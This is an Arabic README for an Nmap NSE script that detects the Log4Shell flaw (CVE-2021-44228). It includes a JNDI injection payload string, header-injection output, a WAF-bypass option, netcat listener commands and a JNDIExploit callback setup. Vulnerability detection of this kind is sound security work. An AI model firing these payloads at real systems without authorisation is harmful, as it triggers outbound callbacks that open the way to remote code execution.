
سكربت Nmap Log4Shell NSE لاكتشاف Apache Log4j RCE (CVE-2021-44228)
script nmap-log4shell هو سكربت NSE لاكتشاف ثغرة Apache Log4j RCE (CVE-2021-44228) عبر الشبكة. يستطيع السكربت حقن حمولة استغلال log4shell عبر ترويسات HTTP (الافتراضي) أو عبر مقبس TCP/UDP.
CVE-2021-44228 هي ثغرة تنفيذ برمجي عن بُعد (RCE) في Apache Log4j 2. يمكن لمهاجم بعيد غير مصادق استغلال هذا الخلل بإرسال طلب مصمم خصيصًا إلى خادم يشغّل إصدارًا معرضًا للخطر من log4j. يستخدم الطلب المصمم حقنًا عبر Java Naming and Directory Interface (JNDI) من خلال مجموعة من الخدمات تشمل:
إذا كان الخادم المعرض للخطر يستخدم log4j لتسجيل الطلبات، فسيقوم الاستغلال بعد ذلك بطلب حمولة خبيثة عبر JNDI من خلال إحدى الخدمات المذكورة أعلاه من خادم يتحكم به المهاجم. قد يؤدي الاستغلال الناجح إلى تنفيذ برمجي عن بُعد (RCE).
حدد مكان سكربتات nmap على نظامك:
~/.nmap/scripts/ أو $NMAPDIR/usr/local/Cellar/nmap/<version>/share/nmap/scripts/C:\Program Files (x86)\Nmap\scriptsانسخ السكربت المرفق (log4shell.nse) إلى هذا الدليل ثم شغّل nmap --script-updatedb لتحديث قاعدة بيانات سكربتات nmap.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: خادم الاستدعاء (مثل: 172.17.42.1:1389)log4shell.http-headers: قائمة مفصولة بفواصل من ترويسات HTTP (مثل: X-Api-Version,User-Agent,Referer)log4shell.http-method: طريقة HTTP (الافتراضي: GET)log4shell.url-path: مسار URL (الافتراضي: /)log4shell.waf-bypass: استخدام حمولات تجاوز WAF (الافتراضي: false)log4shell.test-method: الاختبار عبر http (الافتراضي) أو tcp أو udp أو يعتمد السكربت على الاستدعاءات من الهدف الذي يتم فحصه، وبالتالي فإن أي قواعد لجدار الحماية أو تفاعل مع أجهزة أمنية أخرى ستؤثر على فعالية السكربت.
استمع إلى منفذ TCP باستخدام netcat (أو ncat):
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
شغّل Nmap باستخدام السكربت --script log4shell.nse:
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
شاهد عنوان IP الخاص بالهدف في مخرجات netcat (أو ncat):
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
نزّل JNDIExploit من GitHub (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
شغّل خادم JNDIExploit:
java -jar JNDIExploit.jar
شغّل Nmap باستخدام السكربت --script log4shell.nse:
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
شاهد مخرجات JNDIExploit لرؤية استعلام LDAP المستلم:
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
صُنع هذا المشروع لأغراض تعليمية واختبارات أخلاقية فقط. استخدام nmap-log4shell لمهاجمة الأهداف دون موافقة متبادلة مسبقة غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يكونون مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
المشروع مرخّص بموجب رخصة MIT.
all